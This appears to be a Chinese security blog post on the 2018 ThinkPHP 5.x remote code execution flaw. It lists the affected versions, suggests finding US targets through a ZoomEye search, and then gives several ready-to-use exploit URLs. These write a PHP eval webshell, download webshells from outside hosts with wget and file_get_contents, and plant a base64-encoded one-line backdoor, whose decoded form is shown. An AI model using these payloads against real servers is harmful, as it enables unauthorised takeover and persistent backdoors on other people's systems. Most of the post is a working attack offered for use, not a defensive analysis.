近日thinkphp团队发布了版本更新https://blog.thinkphp.cn/869075,其中修复了一处getshell漏洞。
官网论坛随即放出神级求助帖【求助!thinkphp5.0.9执行系统代码漏洞】
影响版本
ThinkPHP 5.x < 5.1.31, <= 5.0.23
漏洞概述
ThinkPHP 官方 2018 年 12 月 9 日发布重要的安全更新,修复了一个严重的远程代码执 行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在 没有开启强制路由的情况下可能的 getshell 漏洞。
漏洞验证
zoomeye搜索“你值得信赖的PHP框架 +country:"US"“。搜索美国目标测试一波。
写shell的exp:
http://xxx/index.php?s=index/\think\app/invokefunction;function=call_user_func_array;vars[0]=system;vars[1][]=echo '<?php eval($_POST[1]);?>' > help.php
利用该漏洞远程执行下载命令,通过wget远程下载一个webshell后门,执行命令从而获得服务器权限:
admin.php?s=admin/think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget+-O+help.php+http://tzrj.host.xxxx.com/help.php.txt
利用file_get_contents和file_put_contents函数,远程下载webshell:
?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=file_put_contents('content.php',file_get_contents('http://jzy1115.host3v.vip'));
利用file_put_contents函数 写入一句话webshell,其攻击的URI详情如下:
admin.php?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=file_put_contents('./vendor/autoclass.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWyczNjB2ZXJ5J107ZXZhbCgkcGFzcyk7Pz4='))
该命令行包含的base64加密字符串解码如下:
"<?php $pass=$_POST['360very'];eval($pass);?>"
该恶意代码将被写入到文件./vendor/autoclass.php中
声明:本文为原创文章,版权归lsh4ck's Blog所有,欢迎分享本文,转载请保留出处!